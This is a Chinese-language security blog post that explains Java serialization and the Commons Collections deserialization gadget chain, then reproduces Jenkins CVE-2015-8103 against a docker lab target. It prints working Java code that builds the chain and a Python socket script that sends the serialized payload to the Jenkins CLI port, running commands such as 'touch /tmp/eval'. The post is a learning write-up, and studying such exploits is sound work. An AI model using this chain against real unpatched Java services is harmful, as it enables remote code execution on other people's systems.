Kingkk's Blog.

Java反序列之从萌新到菜鸟

2019/01/18 Share

前言

距离上一次更新博客差不多已经过去一个月了,中间的事情确实也很多。最近勉强把Java的基础给补了,就来记录一下Java中最经典的反序列化漏洞。

序列化与反序列化

序列化

Java中并非所有的数据类型都可以进行序列化,想要进行序列化和反序列化的数据结构需要使用Serializable这样一个接口。例如下面这个类

1
2
3
4
5
6
public class Employee implements Serializable {
private String name;
private String identify;

// setter and getter
}

然后通过如下方式,就可以将一个类进行序列化,变成可持久化存储的二进制数据。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public static void main(String[] args){
Employee e = new Employee();
try{
FileOutputStream fileOut = new
FileOutputStream("1.bin");
ObjectOutputStream out = new ObjectOutputStream(fileOut);
out.writeObject(e);
out.close();
fileOut.close();
System.out.println("Serialized data is complete.");
}catch (IOException i){
i.printStackTrace();
}
}

可以来看一下生成的序列化数据

  • 0xaced,魔术头
  • 0x0005,版本号 (JDK主流版本一致,下文如无特殊标注,都以JDK8u为例)

开头的几位一般来当作Java序列化字节的特征。

可以看到Java的序列化数据没有像PHP一样那么容易被人理解,是以一种字节码的形式进行保存的。

反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public static void main(String[] args){
Employee e = null;
try{
FileInputStream fileIn = new FileInputStream("1.bin");
ObjectInputStream in = new ObjectInputStream(fileIn);
e = (Employee) in.readObject();
in.close();
fileIn.close();
}catch(IOException i)
{
i.printStackTrace();
return;
}catch(ClassNotFoundException c)
{
System.out.println("Employee class not found");
c.printStackTrace();
return;
}
System.out.println(e.toString());
}

通过以上的方式,就可以将序列化后的字节码重新反序列化程程序中的类。

SerialVersionUID

相比PHP中的反序列化,Java中做了更多的安全检测机制,例如SerialVersionUID

当类中没有自定义这个值的时候,会通过一系列的Hash算法自动生成这个值,详细的可以看https://xz.aliyun.com/t/3847#toc-3

简而言之就是当反序列化时的类与序列化时候的类“不一致”(例如类中的方法和原先的不一致)的时候,不会允许你进行反序列化。

反序列化的利用

相较PHP的一些利用

反序列化的主要攻击方式,就是控制类中的数据,然后带入到危险函数中进行攻击。

1、由于Java中不存在PHP中那么多的魔术方法,所以这一条路可以算是gg了。

2、由于在反序列化的时候都会进行一次类型转换,如果序列化成了其他类,这里也会抛出异常。在这之前,除了readObject()方法,并没有调用过其他方法。从而序列化其他类进而触发一些危险方法也变的十分困难。

3、然后就是当原先类的方法中存在危险函数,又正好在反序列化之后被调用了,就可以引发危害。但是感觉遇到的机会实属小。

4、然后就是Java中最常用的一种利用方式

可以观察到,在每个反序列化的过程中,都会调用readObject()这个方法

前辈大佬们就去寻找重写了这个方法的类,并配合invoke反射的机制,构造pop链,形成了Java中最具特色的反序列化攻击。

CommonsCollections反序列化

transform()反射机制

以下内容摘自 https://security.tencent.com/index.php/blog/msg/97

Commons Collections实现了一个TransformedMap类,该类是对Java标准数据结构Map接口的一个扩展。该类可以在一个元素被加入到集合内时,自动对该元素进行特定的修饰变换,具体的变换逻辑由Transformer类定义,TransformerTransformedMap实例化时作为参数传入。

我们可以通过TransformedMap.decorate()方法,获得一个TransformedMap的实例。

TransformedMap内的key 或者 value发生变化时,就会触发相应的Transformertransform()方法。另外,还可以使用Transformer数组构造成ChainedTransformer。当触发时,ChainedTransformer可以按顺序调用一系列的变换。而Apache Commons Collections已经内置了一些常用的Transformer,其中InvokerTransformer类就是今天的主角。

它的transform方法如下:

这个transform(Object input) 中使用Java反射机制调用了input对象的一个方法,而该方法名是实例化InvokerTransformer类时传入的iMethodName成员变量:

img

也就意味着,我们现在可以完全控制其中的反射部分

然后利用反射机制,动态调用其它类中的方法。通过以下的链式调用,就可以命令执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{ Object.class,
Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[] {String.class},
new Object[]{"calc"})};

Transformer transformedChain = new ChainedTransformer(transformers);

Map normalMap = new HashMap();
normalMap.put("value", "value");

Map transformedMap = TransformedMap.decorate(normalMap, null, transformedChain);

Map.Entry entry = (Map.Entry) transformedMap.entrySet().iterator().next();
entry.setValue("test");
}

在最后重新set了Value的值之后,就触发了了Transformer的transform()方法 。

就相当于利用反射机制,链式执行了系统命令

可以在运行之后,就能看到弹出的计算器。

AnnotationInvocationHandler

然后需要找到一个重写了readObject方法,并且对其中的一个Map类型成员变量进行重新赋值的这样一个类。于是在sun.reflect.annotation.AnnotationInvocationHandler这样一个原生的包中,就存在这样一个类。

这样,我们就可以反序列化这个类,将其成员变量memeberVaules反序列化成之前的那个TransformedMap,利用反射机制,就可以命令执行。

Jenkins 反序列化 CVE-2015-8103

前提

在2015爆出的Commons Collections反序列化之后,众多厂商都躺枪,今天挑了一个Jenkins的反序列化,通过手工构造Payload的形式,复现当年的反序列化漏洞。

靶场环境: https://github.com/Medicean/VulApps/tree/master/j/jenkins/1

不过这个漏洞的端口并不是在应用的web端口,而是在Jenkins的CLI端口(一般是一个随机的大端口),在靶场里是固定的50000

流量分析

通过wireshare进行流量包的抓取之后,可以看到其中存在Java反序列化的特征值ac ed 00 05的base64编码之后的值rO0AB

所以,只要我们模拟之前的TCP通信,并将这段base64编码的数据替换成我们恶意构造的序列化数据,就可以达成反序列化攻击。

构造Payload

生成序列化字节

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{ Object.class,
Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[] {String.class},
new Object[]{"touch /tmp/eval"})};

Transformer transformedChain = new ChainedTransformer(transformers);

Map normalMap = new HashMap();
normalMap.put("value", "value");

Map transformedMap = TransformedMap.decorate(normalMap, null, transformedChain);
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");

Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object instance = ctor.newInstance(Target.class, transformedMap);

File f = new File("eval.bin");
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
out.writeObject(instance);
}

然后用python进行socket通信

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#!/usr/bin/env python
# coding: utf-8

import sys
import base64
import socket
import hashlib
import time

host = sys.argv[1]
sock_fd = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

cli_listener = (socket.gethostbyname(host), 50000)
print('[+] Connecting CLI listener %s:%s' % cli_listener)
sock_fd.connect(cli_listener)

print('[+] Sending handshake headers')
headers = '\x00\x14\x50\x72\x6f\x74\x6f\x63\x6f\x6c\x3a\x43\x4c\x49\x2d\x63\x6f\x6e\x6e\x65\x63\x74'
sock_fd.send(headers)
sock_fd.recv(1024)
sock_fd.recv(1024)

payload_obj_b64 = sys.argv[2]
payload = '\x3c\x3d\x3d\x3d\x5b\x4a\x45\x4e\x4b\x49\x4e\x53\x20\x52\x45\x4d\x4f\x54\x49\x4e\x47\x20\x43\x41\x50\x41\x43\x49\x54\x59\x5d\x3d\x3d\x3d\x3e'
payload += payload_obj_b64

print('[+] Sending payload')
sock_fd.send(payload)
print('[+] Send All')

手动传入base64之后的数据

之后就可以在docker中看到/tmp目录下生成的eval文件

最后

亲手完成了这些反序列化的过程感觉还是可以的,以后实际构造payload时可以利用ysoserial这个工具,里面有很多已经构造好了的pop链,Java反序列化必备神器。

https://github.com/frohoff/ysoserial

感觉Java的漏洞需要的前置知识还是有蛮多的,比PHP的入门门槛要高一截。

最后,由于一些原因,以后博客可能也不能像之前更的那么勤快了。但会努力不让它太荒废的。

Reference

https://xz.aliyun.com/t/3847

https://security.tencent.com/index.php/blog/msg/97

https://github.com/Medicean/VulApps/tree/master/j/jenkins/1

CATALOG
  1. 1. 前言
  2. 2. 序列化与反序列化
    1. 2.1. 序列化
    2. 2.2. 反序列化
    3. 2.3. SerialVersionUID
  3. 3. 反序列化的利用
    1. 3.1. 相较PHP的一些利用
    2. 3.2. CommonsCollections反序列化
      1. 3.2.1. transform()反射机制
      2. 3.2.2. AnnotationInvocationHandler
  4. 4. Jenkins 反序列化 CVE-2015-8103
    1. 4.1. 前提
    2. 4.2. 流量分析
    3. 4.3. 构造Payload
  5. 5. 最后
  6. 6. Reference